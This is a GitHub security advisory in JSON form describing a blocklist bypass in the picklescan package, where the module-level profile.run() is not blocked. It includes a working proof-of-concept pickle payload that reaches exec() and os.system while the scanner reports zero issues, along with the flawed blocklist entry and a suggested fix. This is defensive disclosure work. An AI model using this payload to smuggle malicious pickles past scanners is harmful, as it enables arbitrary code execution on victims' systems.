-
Notifications
You must be signed in to change notification settings - Fork 652
Expand file tree
/
Copy pathGHSA-7wx9-6375-f5wh.json
More file actions
78 lines (78 loc) · 5.56 KB
/
Copy pathGHSA-7wx9-6375-f5wh.json
File metadata and controls
78 lines (78 loc) · 5.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
{
"schema_version": "1.4.0",
"id": "GHSA-7wx9-6375-f5wh",
"modified": "2026-06-18T14:43:20Z",
"published": "2026-03-03T20:03:35Z",
"aliases": [
"CVE-2026-53873"
],
"summary": "PickleScan's profile.run blocklist mismatch allows exec() bypass",
"details": "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n prof = Profile()\n try:\n prof.run(statement) # Calls exec(statement)\n except SystemExit:\n pass\n ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 60)\n + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n + sbu(\"import os; os.system('id')\")\n + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}
],
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
]
}
]
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v1.0.4"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/tree/v1.0.4"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/picklescan/1.0.4/"
}
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-697"
],
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T20:03:35Z",
"nvd_published_at": null
}
}